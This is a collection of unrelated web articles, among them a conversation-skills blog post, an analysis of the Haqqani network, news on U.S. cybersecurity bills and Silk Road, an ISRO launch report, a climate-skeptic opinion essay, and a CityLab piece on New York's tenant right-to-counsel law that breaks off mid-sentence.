-You can find the full article published here on the Charisma on Command blog.  Imagine, you’ve just met someone new on a networking event. . .  Maybe a potential investor, partner of a supporter. Maybe a senior VP or an old colleague who can get you in touch with the right people. It's very important to make a good impression, so people trust you and connect with you.  Conversation rolls for the first few minutes, but then a familiar roadblock: you both feel like you’re running out of things to say, so you implement a tactic you’ve heard before: To be interesting, be interested! Get them talking about themselves.  You unleash your probing and incisive questions, which are clever and you are obviously listening to the other person’s answers, but as time ticks on, you sense they want to speak less and less. After a few minutes, they excuse themselves to mingle with others. Or to go to the bathroom (riiiiight).  What the heck happened? Isn’t showing a genuine interest in people supposed to be a conversational cure-all?  Well, not exactly, because the conventional wisdom of: “get them talking about themselves” is incomplete. Sure, people like to talk about themselves, but not with everyone.  People only want to talk about themselves with people they have some reason to care about.  It’s not perfectly nice, but it’s the truth. When people we don’t know or respect barrage us with questions, we often just want them to scram.  So what should I do to have a good conversation if not ask questions?  Start with this principle: People admire, respect, and want to talk to those with non-judgmental conviction in their own values.  If ALL you do is ask questions, you’re not showing any conviction in your values. You’re not even showing your values. But if you make statements about your values or follow your questions up with those kinds of statements, it is a whole ‘nother ballgame.  Take the example of the senior VP at the networking event. Say you’ve gotten on the conversation of his interests:  Him: “Yeah my family and I took a trip out west to go skiing last week. It was fantastic.”  You: “Oh wow, had you been out there before?”  Him: “Yeah we try to go every year. The kids love it.”  You: “What was the best part?”  Him: “I guess this one trail that is like 45 minutes long, it had beautiful views throughout.”  All questions. Good ones too. But people WILL tire eventually. Plus people may feel like they're being interrogated.  Contrast that with the following:  Him: “Yeah my family and I took a trip out west to go skiing last week. It was fantastic.”  You: “That sounds amazing. I’m not much of a skier, but I love to mountain bike. There is nothing like that heightened awareness you get when you’re flying down the side of a mountain. I’m an addict for all things that do that.”  Him: “Me too . . .”  Now you’ve shown something about yourself and it doesn’t matter that you’ve never skied or that he’s never mountain biked, because when you cut through the surface level facts of what you’re talking about, there are always deeper values. A love of adventure, of pushing boundaries, of escaping the mundane.  So when meeting new people don’t just barrage them with questions. Relate to them. Take the information you get in the first questions and use it as an opportunity to reveal something about yourself. Don’t worry if what you have to say doesn’t totally agree with their statement. You can even have opposite feelings. As long as you are revealing your values in a non-judgmental way, you’ll have lots to talk about and no one will be offended.  The next time you find yourself in a conversation asking more than 2-3 consecutive questions, slow down. Remember, the goal of conversation is not simply to get someone talking about themselves. It is to relate to one another’s values. So listen to their answers and see what values they are revealing. This will also help you get an idea of what kind of person you're engaging with and if you want to do business with them or not.  A good conversation is not about just getting someone to open up and talk about themselves. It is not about you agreeing with everything they say. It is not even about you connecting on things that you have in common.  It is about comparing, contrasting, and relating to one another’s values. Find opportunities to share yours with conviction and without judgment. Other people will follow suit and you’ll make connections like never before.  I hope you enjoyed reading this post! Let me know if you found it helpful and feel free to share your experience in similar situations.  For weekly inspiration, HowTos and tips on charisma and social skills please sign for our newsletter!
-The Haqqani network — a family-run syndicate that happens to be one of South Asia’s most fearsome militant groups — has long been a source of tension for the volatile U.S.-Pakistan relationship. And it’s easy to understand why.  U.S. military officials often describe the Haqqani network as one of its biggest threats in Afghanistan. John Allen, who commanded U.S. and NATO forces in Afghanistan from July 2011 to February 2013, says the group wounded or killed more than 500 of his troops. It’s been blamed for an attack on the U.S. embassy in Kabul. It held Bowe Bergdahl, the only U.S. POW in Afghanistan, in captivity. It has close associations with Al-Qaeda, and the State Department has formally designated it as a terrorist organization (this status does not apply to the Afghan Taliban, with which the Haqqani network is affiliated).  The Haqqani network also has links to Pakistan’s security establishment, which views the group as a strategic asset that limits the influence of archrival India in Afghanistan (it frequently assaults Indian targets in Afghanistan). In 2011, Mike Mullen, then the Chairman of the Joint Chiefs of Staff, infamously described it as a “veritable arm” of Pakistan’s main intelligence agency. An angry Pakistan rejected the accusation and threatened to cut off ties with Washington.  Last year, unknown gunmen assassinated Nasiruddin Haqqani, one of the group’s top leaders. Tellingly, he was not gunned down in an isolated, mountainous, tribal-area redoubt — but rather as he strolled into a bakery in the suburbs of Islamabad, Pakistan’s capital (Rawalpindi, the city that houses military headquarters, is nearby).  For years, Haqqani fighters enjoyed a sanctuary in Pakistan’s North Waziristan tribal agency. Washington (to the irritation of Islamabad) pressured Pakistan relentlessly to target this safe haven, but to no avail.  Then, in recent weeks, Pakistan changed course and launched a military offensive in North Waziristan. Islamabad insists that its offensive is targeting all militant groups, including the Haqqani network. Pakistani officials report that the offensive has driven the group into Afghanistan, and they are asking U.S. forces to go after it there. In effect, Pakistan wants the United States, and its Afghan allies, to serve as the anvil to Pakistan’s hammer.  This should all be music to Washington’s ears. Unfortunately, it is not. That’s because the offensive is happening several years too late, and because there’s little reason to believe Pakistan’s claims about targeting the Haqqani network are actually true. As a result, U.S.-Pakistan relations face a new crisis rooted in an old problem.  Had Pakistan’s North Waziristan operation been launched several years earlier, at the height of the U.S. military surge in Afghanistan, then U.S. forces would have been in a strong position to handle an influx of fighters from Pakistan. Yet today, U.S. forces are headed for the exits.  Afghan troops aren’t in much of a position to help either. They have their hands full with a resurgent Taliban, which is staging stepped-up assaults. These have produced offensives in Helmand and Kandahar provinces and actual takeovers of territory in areas outside the cities of Kabul and Jalalabad. Some might argue that Pakistan’s North Waziristan offensive, by unloading Haqqani network fighters into Afghanistan, is contributing to this increased unrest in Afghanistan. The Afghan government, for its part, has blamed the Haqqani network for two recent major attacks — a mass-casualty market bombing and an assault on Kabul’s airport.  In effect, at the very moment U.S. forces are seeking some semblance of a smooth withdrawal from Afghanistan, a Pakistani military offensive is flushing some of the most ruthless anti-Afghan militants into that nation amid an intensified insurgency.  And it could get even worse.  Many Pakistani Taliban (TTP) fighters are based in eastern Afghanistan. The TTP (which mainly attacks the Pakistani state) and Haqqani network may focus on different targets, but they each share the same hardline ideology and loyalty to Afghan Taliban leader Mullah Omar. This all suggests that Haqqani fighters could conceivably cooperate operationally with TTP (and Afghan Taliban) forces in Afghanistan. Incidentally, one of the TTP’s founding leaders, the late Baitullah Mehsud, was once a Haqqani network commander.  At the same time, there’s little reason to believe Pakistan’s security establishment truly wants to take on its long-time trusted asset. Why would it want to sever ties now, given the uncertainties of Afghanistan’s future amid the U.S. withdrawal, and given that reconciliation with India remains a distant dream?  There’s also little reason to believe Pakistan wants the Haqqani network to stay out of Pakistan. The latter derives leverage over the Haqqani network by hosting it on its soil. By denying it a sanctuary, Pakistan would lose this leverage — and risk having the organization turn on the Pakistani state. Consider that some Afghan Taliban members have expressed deep unhappiness about Pakistan, and that when Baitullah Mehsud was a Haqqani commander, the group launched several attacks on the Pakistani military.  Little wonder, then, that a range of sources — from U.S. officials to North Waziristan locals — believe the Haqqani network was tipped off about the offensive by the Pakistani military and fled in advance. Pakistan’s own ambassador to Washington admits that many Haqqani fighters left North Waziristan before the offensive (in his view, this is simply because the operation was pre-announced).  So, despite all the spin about taking definitive action against militants of all stripes, Pakistan may have more nefarious objectives in North Waziristan: Smash the sanctuaries of anti-state militants such as the TTP, but shield the Haqqani network by sending it to Afghanistan (and to other Pakistan tribal areas), where the group can exploit rising political instability (stemming from an ongoing election crisis) and aid an increasingly emboldened Afghan Taliban. Then, when the offensive in North Waziristan has ceased, the organization can return to its Pakistani sanctuary and resume its cross-border strikes on Afghanistan.  This all has troubling implications for U.S.-Pakistan relations. Washington can’t be happy that Pakistan is merely displacing, rather than destroying, the Haqqani network — and especially into Afghanistan at such a delicate time. If the Haqqani network returns to its North Waziristan sanctuary and resumes attacks on Afghanistan, threats will likely intensify on Capitol Hill to reduce military aid to Pakistan. After all, a recent U.S. defense spending bill calls for $300 million in military aid to be withheld from Pakistan if the country has not “significantly disrupted” the Haqqani network’s “safe haven and freedom of movement.”  Such warnings won’t be received well in Islamabad, where officials often (and justifiably) note that Pakistan’s military has lost scores of soldiers fighting militant groups in the tribal belt, and complain that U.S. forces have failed to disrupt Pakistani Taliban safe havens in Afghanistan, which are used to mount attacks on Pakistan. Indeed, some of the TTP’s most vicious and hardline leaders — including supreme leader Mullah Fazlullah, who orchestrated the brief takeover of the Swat region in 2009, and TTP Mohmand tribal agency chief Omar Khalid Khorasani, who earlier this year ordered the execution of 23 Pakistani soldiers held in captivity — are reportedly based in Afghanistan.  The upshot? The current period of preternaturally placid U.S.-Pakistan relations could soon be shattered, thanks to the militant organization that so often bedevils them.  Michael Kugelman is the senior program associate for South Asia at the Woodrow Wilson International Center for Scholars in Washington, DC. He can be reached at [email protected] or on Twitter @michaelkugelman.
-By Suzanne Kelly  Republican senators are proposing cybersecurity legislation calling for a series of government incentives to make sure that companies comply with security issues.  The bill is meant to counter separate proposed legislation that seeks to designate the Department of Homeland Security as the lead agency for securing the nation's cybersphere infrastructure.  The Republicans have dubbed their bill the SECURE IT Act, or the Strengthening and Enhancing Cybersecurity by Using Research, Education, Information and Technology Act.  "As our nation faces increasing cyberattack in a critical economic environment, we must ensure that the private sector has the authority it needs to defend its own networks and share cyberthreat information to prevent future attacks," said Sen. Saxby Chambliss, R-Georgia, who was one of eight senators introducing the legislation Thursday.  "Now is not the time for Congress to be adding more government, more regulation, and more debt - especially when it is far from clear that any of it will enhance our security," he said.  The act is the Republican answer to a bill introduced by the Senate Homeland Security and Government Affairs committee last month. The Lieberman-Collins bill designates the Department of Homeland Security as the lead government agency to tackle cybersecurity issues, with a particular emphasis on requiring businesses that operate critical infrastructure, such as air traffic control and electrical grids, to prove to the government that they have adequate cybersecurity measures in place to protect them against computer-based attack.  Republican Sen. John McCain scoffed at the legislation when it was introduced and joined Chambliss and the other Republican senators to introduce their version of the bill, which does not designate a lead agency to coordinate the government's efforts to secure cyberspace.  Instead, the act relies on a series of government incentives to make sure that companies comply with security issues.  Leaders of the Senate Homeland Security Committee fought back by urging prompt consideration of the Lieberman-Collins bill - the Cybersecurity Act of 2012, which was introduced in mid-February - reiterating the threat that currently exists.  In an earlier hearing, Sen. Jay Rockefeller, D-West Virginia, used the example of an attack on the air traffic control system to lay out a worst-case scenario for a cyberattack.  "Cyberhackers can take that out," he said. "So the planes are literally flying in the dark and they will fly into each other and kill a lot of people."  Under the Lieberman-Collins bill, the Department of Homeland Security would be responsible for making sure that companies controlling critical infrastructure implement proper safeguards.  Critics who thought the bill didn't go far enough complained that the "self-reporting" was a weak point, but critics like McCain who are proposing even less government involvement argue that it would be a mistake to seat a new cybersecurity department within what he referred to as the "regulatory leviathan at DHS."  The critical need to come up with some kind of plan has been emphasized by officials such as FBI Director Robert Mueller, who has said that he expects the cyberthreat to surpass the threat of terrorism in the not-too-distant future.
-The legacy of that notorious underground online marketplace, Silk Road, is stronger than ever. This time New York Times journalist Nathaniel Popper gives us this front page story that reveals how the U.S. government tracked down Ross Ulbricht the alleged 29-year-old kingpin of the illegal website.  To his credit, Mr. Popper mentions the word “bitcoin” only once, somewhere in the middle of the article. As we’ve written on three previous occasions, once in May 2015, once on June 1st and once on June 18th, 2015, the news media is still catching up with the technical implications. Instead, Mr. Popper tells us that the trail that led federal investigators to Ross Ulbricht was nothing more high tech than a forum post on Bitcoin Talk in which someone left behind the E-mail address [email protected] The clue was so improbable that even the investigators refused to take it seriously the first time it was presented to them.  A second, even more dead obvious link was found many months before Ulbricht’s arrest when federal agents intercepted a package containing fake IDs that was addressed to Ulbricht’s home in San Francisco. When Ulbricht was questioned about the package at the time, he himself readily gave the agents the link to Silk Road without prompting, telling them that anyone could hypothetically go to the illegal marketplace to buy fake IDs. Whatever Ross’ role in Silk Road might have been, this behavior only strengthens the impression of him as a hapless fall guy, not so much the criminal mastermind behind an illegal million-dollar network.  What kind of “drug lord” would order fake IDs to his home address or post his own e-mail address to an online forum? Other mundane details about Ross Ulbricht’s life also reinforce this belief: He shared an apartment with three other roommates he met via Craigslist. He caught poison oak picking up trash in the park.  A “Silk Road” Culture  Maybe it’s cynical to believe that the real power — the ones who were really pulling the strings have a lot more technical ability, common sense and resources than Ulbricht and are safely far away. But that theory matches the anything-goes culture of the Internet underground and the so-called “golden rule” which simply states that he who has the gold, makes the rules. Those people haven’t been caught. As far as we know, they are the same ones behind the next generation of decentralized marketplaces that are now fluorishing in Silk Road’s place. The site DeepDotWeb published a comparison chart that on December 26th, 2015 listed 20 of what it calls “established dark web markets”. There’s clearly a lack of respect, and even worse, lack of understanding between the legal system and, let’s say, those hackers on the dark web, in a growing conflict for which Silk Road has only become one of the most talked about symbols.  Read “The Legacy of Silk Road and Ross Ulbricht’s Life Sentence”, “The Legacy of Silk Road Part 2: Decentralized Marketplaces” and “Is Bitcoin Anonymous: The Legacy of Silk Road, Part 3”.
-Swimming seems fun and all, right? The sand on your feet, wind in your hair, and it’s just the ocean, with you enjoying a moment that seems so calm and surreal. Yeah, it’s true, spending time swimming in the ocean can be quite calming. BUT, while the ocean is truly a wonder, it’s also home to some the most terrifying sights known to man  Check out the photos on the following pages if you want to see stuff that will make you think twice about swimming in the ocean ever again.  Fun fact: Approximately 70% of the surface of the planet is made up of the ocean, and yet, more than 90 percent of it remains unexplored and a mystery. Now, let that sink in.  Blue Whale  The biggest of all the animals on the planet found on land, it can be found swimming happily in the ocean.  Blue whales are known to grow to lengths of over 100 feet and could weigh more than 180 tons when fully matured. To give you an idea just how big they can be, blue whales can grow to be as long as a Boeing 737 plane, which are among the longest planes today, and weigh as much as 2,000 average men.  Eels or Kelp?  Well, don’t be afraid, it’s just kelp. But hey, we wouldn’t really blame you if you ran for the hills if you saw this in real life. We’d probably do the same!  Giant Pacific Octopus  Have you ever seen an octopus that big? No? Well, most people haven’t. But, as scary as the thought of seeing an octopus as big as that may be, what’s scarier is that the octopus on the above isn’t even the biggest. Case in point, the Giant Pacific Octopus are known to grow up to lengths of 16 feet and weigh as much as 110 pounds, with the largest ever recorded setting the bar at 30 feet and more than 600 pounds.
-India, which has in the past few years made tremendous advances in space technology, satellite launches, and interplanetary missions, launched yet another rocket into space earlier today.  The rocket, named the PSLV-C28, launched five satellites into space — all of them British-made — with pin-point accuracy. This was the biggest commercial launch ever executed by the ISRO (Indian Space Research Organisation), the Indian equivalent of NASA. The rocket launch, which off on without any hitch, happened at 9:28 p.m. local time on Friday, July 10. All the five satellites were in orbit in less than 20 minutes following the lift-off. The news of this successful rocket launch comes days after the failure of the Space X rocket that blew up minutes after the launch a few weeks ago.  According to the Times of India, the countdown for the launch of the PSLV-C28 had started at 7:28 a.m. on Wednesday. Sixty-two hours and 30 minutes later, the rocket took off for the 29th consecutive successful launch of a PSLV rocket. The venue for the satellite launch was the Satish Dhawan Space Center in Sriharikota, Andhra Pradesh State. This is the same venue from which the now-famous Mars Orbiter Mission originated back in November of 2013.  According to Firstpost, the PSLV-C28 launch will put three identical optical earth observation satellites (DMC3) into orbit. All three satellites weigh 447 kg each and were placed in a sun-synchronous orbit, 647 kilometers above the earth. Apart from these two, two microsatellites weighing 9kg and 7kg each were also injected into orbit. The smallest of the lot was the De-OrbitSail, and the other one was called the CBNT-1.  According to Indian Express, all the satellites will be launched into a single Low-Earth Orbit plane. They would be used for surveying the Earth’s surface and its resources. They would also be used to manage urban infrastructure and monitoring of disasters. The report adds that the DMC3 satellites and CBNT-1 were built by Surrey Satellite Technology Limited (SSTL), while De-OrbitSail was the brainchild of the Surrey Space Centre.  The PSLV satellite launch vehicle has been in use since 1999. With today’s launch, the number of satellites that have been sent into space using this rocket has risen to 45. making it one of the most reliable launch vehicle ever. The same rocket was used for India’s maiden lunar missions — the Chandrayaan series as well as the Mars mission — also known as the Mangalyaan.  [Image Via VSSC]
-Predicting the impending collapse of climate hysteria is a lot like predicting the impending collapse of Venezuela or North Korea. Yes, it is so transparently crazy that it can't possibly go on for too much longer. On the other hand, it is backed by an enormous propaganda apparatus, by near unanimity in the media and academia kept intact by ruthless orthodoxy enforcement, and, at least up until recently, by complete control over vast government funding. You can see cracks developing in the structure here and there, and clearly, as with Venezuela and North Korea, the entire edifice will definitely collapse eventually; but maybe it will take years or even decades before the final implosion.  Today brings two rather significant new cracks. First, EPA Administrator Scott Pruitt has announced that EPA will repeal the so-called Clean Power Plan. EPA's release can be found here. The CPP, a regulation promulgated by the Obama EPA in October 2015, was the centerpiece of the prior administration's program to achieve emissions reductions of so-called "greenhouse gases" as prescribed by the Paris climate accord. Back in February 2016 I called EPA's issuance of the CPP "the biggest-in-history see-how-far-we-can-push-the-envelope-and-get-away-with-it power grab." The goal was supposedly to reduce CO2 emissions from power plants by some 30 plus percent by 2030. To achieve that goal, the CPP basically set emissions limits that could not be met so long as coal-burning plants were part of the electricity system, thereby forcing all the coal plants to close. Likely, oil plants, and even those fired by natural gas, would have also come on the chopping block as the strictures tightened with the approach of the 2030 deadline. Associated with the CPP were many tens of billions of dollars of costs, all destined to make their way into your electricity bill.  In February 2016, in response to litigation brought by the majority of states and many other parties, the Supreme Court stayed enforcement of the CPP. Subsequently the litigation made its way before the en banc DC Circuit, which however has been holding the matter in abeyance while it waits to see what the Trump administration will do. Looks like that litigation will now be moot -- undoubtedly soon to be replaced by new litigation to be brought by the other states and environmental groups seeking to compel the government to regulate and restrict the GHGs.  EPA's release does not really get into the question of whether CO2 from power plants is any kind of environmental problem, or whether restricting CO2 emissions is or is not a good idea. Instead, its main thrust is that the section of the Clean Air Act mainly relied on by the Obama EPA, namely Section 111, does not in fact give EPA sufficient legal authority to support the CPP. According to the new administration EPA's legal analysis, Section 111 only authorizes EPA to regulate emissions from individual sources of pollutants, rather than completely transforming an entire electricity system. This was actually a principal argument advanced by the litigants in the case challenging the CPP. And it is a good argument. In any event, the CPP is going to be withdrawn.  Withdrawing the "biggest-in-history" government regulatory power grab -- that's a pretty big development on the climate front for one day. But I have another one, also from today, that may be even bigger. Tony Abbott, former Prime Minister of Australia, made a speech today at the Global Warming Policy Foundation in London. Here is a link to the speech. With this speech, Australia takes another big step among the governments of the world toward joining the ranks of the climate apostates.  I certainly will not claim to be any kind of an expert on the politics of Australia, but I'll share what I can learn from easily available sources. Abbott -- a member of the "Liberal" Party (we would call them "conservatives") -- was Prime Minister from 2013 - 2015. He has been succeeded by Malcolm Turnbull, from the same party. Prior to Abbott, the Prime Minister (briefly in 2013) was Kevin Rudd of the Labor Party, and before him, Julia Gillard (2010 - 2013), also of the Labor Party. The Labor Party of Australia strongly supports policies to "save the planet" through mandatory restrictions on GHG emissions. The Liberal Party has been somewhat conflicted in its positions on this issue. Abbott famously stated in October 2009 that the science of climate change was "absolute crap." That did not prevent him from becoming PM in 2013, but on becoming PM he substantially toned down his position on the issue. Within a couple of years, he lost the job to his colleague Turnbull, who could not be called a climate skeptic, and has moved forward with a so-called "clean energy target" to reduce Australia's emissions.  Meanwhile, Abbott remains a major force in the Liberal Party. And the "clean energy target" thing has not gone well in Australia. While remaining a major producer of coal and natural gas (increasingly for export only), Australia has been closing down coal plants and seeking to replace that energy with solar and wind facilities that basically don't work when you need them. South Australia -- ground zero for massive expansion of wind power -- has had several major blackouts. With that background, here are some excerpts from Abbott's speech today:  Hydro aside, renewable energy should properly be referred to as intermittent and unreliable power. When the wind doesn’t blow and the sun doesn’t shine, the power doesn’t flow. Wind and solar power are like sailing ships; cheaper than powered boats, to be sure, but we’ve stopped using sail for transport because it couldn’t be trusted to turn up on time. Because the weather is unpredictable, you never really know when renewable power is going to work. Its marginal cost is low but so is its reliability, so in the absence of industrial scale batteries, it always needs matching capacity from dependable coal, gas, hydro, or nuclear energy. This should always have been obvious. . . .  In the longer term, we need less theology and more common sense about emissions reduction. It matters but not more than everything else. As Clive James has suggested in a celebrated recent essay, we need to get back to evidence based policy rather than “policy based evidence”. Even if reducing emissions really is necessary to save the planet, our effort, however Herculean, is barely-better-than-futile; because Australia’s total annual emissions are exceeded by just the annual increase in China’s. . . .  Should Australia close down its steel industry; watch passively while its aluminium industry moves offshore to places less concerned about emissions; export coal, but not use it ourselves; and deliberately increase power prices for people who can’t install their own solar panels and batteries? Of course not, but these are the inevitable consequences of continuing current policies. That’s the reality no one has wanted to face for a long time: that we couldn’t reduce emissions without also hurting the economy; that’s the inconvenient truth that can now no longer be avoided.  I particularly like that part about Australia exporting coal but then not using it themselves. Is it really possible to be that dumb? But the push back has started.  The Sydney Morning Herald, reporting on Abbott's speech, suggests that the turn toward climate skepticism is driven by party backbenchers who think that energy prices are a far more significant concern than environmental purity. But whatever the driving force, it now appears likely that Australia will not be adopting a new "clean energy target".any time soon. Some semblance of rationality has returned. It has suddenly become acceptable in polite circles to care more about what working people pay for electricity than about multi-hundred-billion-dollar schemes to reduce global warming by 0.02 degrees over the next century. That actually is a momentous development. What country will be the next to join the ranks of the climate apostates? England? How about Germany?
-Photographers use all sorts of cameras to make portraits. But artists Adam Broomberg and Oliver Chanarin chose an unusual and slightly unsettling route–capturing people with 3-D surveillance technology.  Broomberg and Chanarin used a surveillance camera system called Vocord FaceControl 3-D to make portraits of 120 Russian citizens—including Pussy Riot member Yekaterina Samutsevic and poet Lev Rubinstein—for their series and photo book Spirit is a Bone. The system uses facial recognition technology to catalog the same features that make us unique and recognizable to the ones we love. "We're interested in the point when the natural and instinctive human ability to recognize faces is appropriated and utilized by the state and its machinery," Chanarin says.  Spirit is a Bone , MACK, 2016.  First developed in 2009, FaceControl 3-D creates photographic models of faces that look a bit like the magic mirror in Shrek. Four very sensitive surveillance cameras are positioned at the entrance to, say, a sports stadium or train station. As crowds pass through, the system captures faces from different angles and combine the images together. By mapping various points on the face, like the distance between eye corners, they render a 3-D model that goes into a database and can be matched against other images to identify suspects in real time. Vocord claims the 3-D system and simpler 2-D version have been tested in Moscow and Kazakhstan’s Almaty metro. It's also installed in transport hubs in Ryazan, as well as the Omsk Arena, where it's used to keep unruly hockey fans out of the stadium.  Vocord is one of many companies offering similar forms of surveillance. Yet the technology is still creepy to Broomberg and Chanarin, who created Spirit is Bone for a commission from state-owned news agency Ria Novosti for the G20 summit in St. Petersburg in 2013. They proposed to make a Russian version of German photographer August Sander’s landmark work Citizens of the 20th Century, a collection of Germans portraits categorized according to their occupations. But instead of using a large format camera like Sanders, they wanted to use FaceControl 3-D, which wouldn't require the subject to look at the camera or even be aware of its presence. "For us this signaled a departure in the history of portraiture,” Chanarin says. “[It’s] a new kind of portrait—one in which the relationship between the photographer and the subject is severed."  Ria Novosti agreed, and the pair quickly set about casting subjects from the streets of Moscow. They chose people who fit the same basic occupational profile as Sanders’s subjects—a writer, baker, boxer, farmer’s wife and more. Each person was invited into a makeshift studio where the system—on loan from Vocord—was set up. It looked as clandestine as it sounds, with just four lenses embedded into the walls and wired to a computer. The subject merely had to walk into the room and the portrait was complete.  The final images are cold and mechanical, with mask-like faces and hollow, expressionless eyes. Some, not properly recorded by the system, are warped and half-formed. For Broomberg and Chanarin, it perfectly illustrates the clinical way surveillance technology is used to identify and catalog people. "It’s more like scanning or photocopying a person," Chanarin says.
-Louie, a show that has been consistently hailed as one of the most innovative, heartbreaking TV comedies of the decade, is about to slide back onto your DVR without much fanfare. Certainly, this season won't attract nearly as much attention as the last, which brought with it a serious case of Louie Thinkpiece Fatigue (culminating in calls for us to just call the whole thing off). But in many respects, the show is closer to a conventional sitcom than it's ever been. And that's okay, because Louie’s own influence has made the show's constant evolution unnecessary.  Success comes from consistently giving audiences what they want; it's part of why long-running sitcoms often become so lazy, and why even generally respected series can collapse into fan service. But satisfying viewers is different from making a truly great show, one that's part of a broader conversation. If you've done the latter, then after a while you'll be stripped for parts—and that's exactly what happened with Louie. Five years after its debut, a string of phenomenal half-hour series have grown from its stem; they effortlessly blend comedy and drama, mining pathos and humor from human problems and pain and refusing to consider that these might be separate things. From Transparent’s lovingly shot sequences of trans women discovering themselves to Looking’s bright parties to Broad City’s impish chaos, each of these series have created a universe on their own terms, even while possessing some CKDNA.  And so, the show even appears to have reached a balance. Early on, its tendency was to bounce between often-disconnected short films; in seasons three and four, it developed a penchant for longer arcs. Now Louis (not Louie) seems to favor episode-length plots, with bumpers or tangentially related cold opens. The changes, though, are as substantive as they are formal; at least through the first five episodes, the show focuses far more on laughs than on brutal emotion. (Not that these things are ever fully separate—it's a question of emphasis.) Plots are relatively straightforward: Louie awkwardly finds himself at a cult meeting; Louie hangs out with an old friend; Louie goes on a date. His daughters, frequently the show's emotional wellspring, show up to confirm that their father is an object of mockery. There's a classic "Louie spends an evening exploring New York with a character who manages to be both archetypal and specific" episode. Hell, there's even a gloriously over-the-top poop joke.  Partly, this comes across as a reaction to last season's deep-dive into Louie's past and his loneliness. At one point this year, he goes to a depressing art movie with his long-term love interest and current sort-of girlfriend Pamela (Pamela Adlon), and when he starts telling her a story about his childhood, complete with a maudlin flashback, he's rudely interrupted. "I don't want to hear this" Pamela says, speaking for a good chunk of the audience. And Louie's myopic dating life, with or without Pamela, is only occasionally raised to a level of prominence. The show's history is rich enough that the scenes between Pamela and Louie play as an exploration of their specific relationship rather than a general "Why can't middle-aged socially anxious white men find love?" story. That writ-largeness plagued season four, but by now, even Louie the character has to admit that his life is actually pretty good—whereas his brother and bang-bang partner Bobby (Robert Kelly) is comically flailing, complaining about how he has "No money. No skills. No Twitter."  But again, that success has bred a twist: while Louie has bred a new generation of shows, Louie himself seems concerned with his increasing irrelevance to the generation of viewer that watches them. In one early episode, he's forced to host an open mic night, and awkwardly gives a die-hard comedy kid career advice. It doesn't seem like good advice coming from Louie, but it's successful, somehow. He doesn't know what he said or why, but some good came out of it.  In another episode, Louie finds himself in the familiar position of grumbling at a young woman, complaining about his treatment at the hands of an assertive shop-owner. After admitting that he always gets uncomfortable around youths, he's told (in Louis CK's own words from a stand-up routine), that it's because "we're the future, and you don't belong in it." As upset as Louie is, she says, he should be glad. "Doesn't it follow that if you're a good parent and your kids evolve and are smarter than you, they're going to make you feel kind of dumb?" Louie, and seemingly Louis, acquiesce: "So if you feel stupid around young people, things are going good."
-New York City Mayor Bill de Blasio walks with other officials in May. Brendan McDermid/Reuters  The new law protecting low-income tenants is the first in the nation.  On Friday, New York City Mayor Bill de Blasio signed into law an act that guarantees legal representation to any low-income resident facing eviction. This is the first law in the nation to establish a right to counsel in housing cases, the culmination of a push by activists and organizers that started in 2014. The law promises legal representation to any resident facing eviction whose income is 200 percent of the federal poverty level or less. The act could transform housing court in New York, where landlords appear with counsel in more than 90 percent of cases. Until 2014, tenants were represented in just 1 to 10 percent of cases. “When you have that kind of imbalance, not occasionally but almost guaranteed in every case, it starts to change the entire way that the court works and the entire way that the justice system works,” says John Pollock, coordinator for the National Coalition of the Civil Right to Counsel. “Cases are disposed of quickly. There’s not really any due process.”  Often, tenants have defenses to eviction lawyers would raise that could stop or at least postpone an eviction, such as improper notice or neglected repairs. Fewer illegal evictions also means fewer households experiencing transitional homelessness, a crisis on the rise in America. That means reducing suffering for families but also limiting a substantial burden carried by cities. The coalition predicts an overall savings of $320 million per year, well above the program’s costs. Even in cases where an eviction is warranted, legal representation can make the process less painful and interruptive. “Lawyers do a lot of things for tenants besides just [determining in court] whether or not they’re evicted,” Pollock says. “There’s some tenants who may not be able to stay in their units, but the attorney may be able to keep the eviction off their records. They may be able to find them alternative housing. They may be able to get them into subsidized housing. They can arrange a soft landing in so many ways.” With New York leading the way, several other cities may soon embrace so-called “civil Gideon” laws, namely San Francisco, Boston, Philadelphia, and Washington, D.C. However, budget plans by the Trump administration could affect how broadly a right to counsel can be embraced in other places. The tenant legal services community has pursued a right to counsel in housing court for decades, says Marika Dias, director of the Tenant Rights Coalition at Legal Services NYC. But that effort became much more aggressive in 2014, when a number of advocacy campaigns, bar associations, unions, and other groups formed The Right to Counsel NYC Coalition. They sought, and won, greater funding for legal representation for tenants.  Since 2014, evictions have already declined in New York by 24 percent, and the percentage of tenants who have appeared before housing court with representation has climbed to about 27 percent. “Over the course of the next five years, there will be a phase-in process, so it’s going to take five years to get to the point where all tenants who are under 200 percent of federal poverty guidelines get full representation,” Dias says. Cities are changing fast. Keep up with the CityLab Daily newsletter. The best way to follow issues you care about. Subscribe Loading... She adds, “But in addition to that, the legislation provides for tenants who are over that income threshold to also get some legal services as well. By the time we get through the 5-year phase-in, 100 percent of tenants in housing court will have access to either full representation or the advice of the lawyer.” The act, which the New York City Council passed in July (with a veto-proof majority), commits $155 million over five years to fulfill a right to counsel. The Right to Counsel NYC Coalition projects that the increase in legal representation will be met with a considerable cost savings for the city, as frivolous cases that might otherwise go unchallenged fall out of the justice system. San Francisco almost beat New York to the punch. Back in 2012, the San Francisco Board of Supervisors passed an ordinance declaring its intent to become the nation’s first city to establish a right to counsel in civil matters. California has led the way for years, in fact: The state’s 2011 Sargent Shriver Civil Counsel Act established seven pilot programs at about $9 million per year to provide legal representation to low-income residents in civil cases—mostly housing cases. One of the pilot programs, in Los Angeles, was originally designed to end in 2016; that’s now a permanently funded (but not comprehensive) program.  With the ordinance, San Francisco set up its own pilot. The results are revealing: An analysis by the John and Terry Levin Center for Public Service and Public Interest at Stanford University found an enormous potential costs savings for the city (albeit based on limited results). During the pilot, pro-bono lawyers helped more than 600 tenants avoid homelessness. The cost of sheltering a family runs about $30 per night, meaning a savings of more than $18,000 each day. Over the course of 60 days—the average shelter stay in San Francisco—the potential savings adds up to more than $1.1 million. Paying the lawyers for their time would not cost nearly as much. “A number of people from San Francisco contacted me and said, ‘We want to be next,’” Pollock says. The Philadelphia City Council has appropriated half a million dollars to give low-income renters legal representation in housing matters. Boston Mayor Marty Walsh is pursuing a civil Gideon bill in Massachusetts. (The name refers to Gideon v. Wainwright, the 1963 case in which the U.S. Supreme Court established a right to counsel in criminal cases.) In Washington, D.C., the Housing Right to Counsel Project, another coalition of legal-service providers and advocates, rallied behind a law expanding housing counsel that is currently under congressional review. (As D.C. is not a state, all its laws are reviewed by Congress.) Civil Gideon laws establishing a right to counsel for cases involving immigration, guardianship, and incarceration over fees and penalties are on the rise; housing is only the newest front. The budget proposed by President Donald Trump could curb the progress of these laws, however. The Trump administration wants to slash the budget of the Legal Services Corporation, a federal agency that 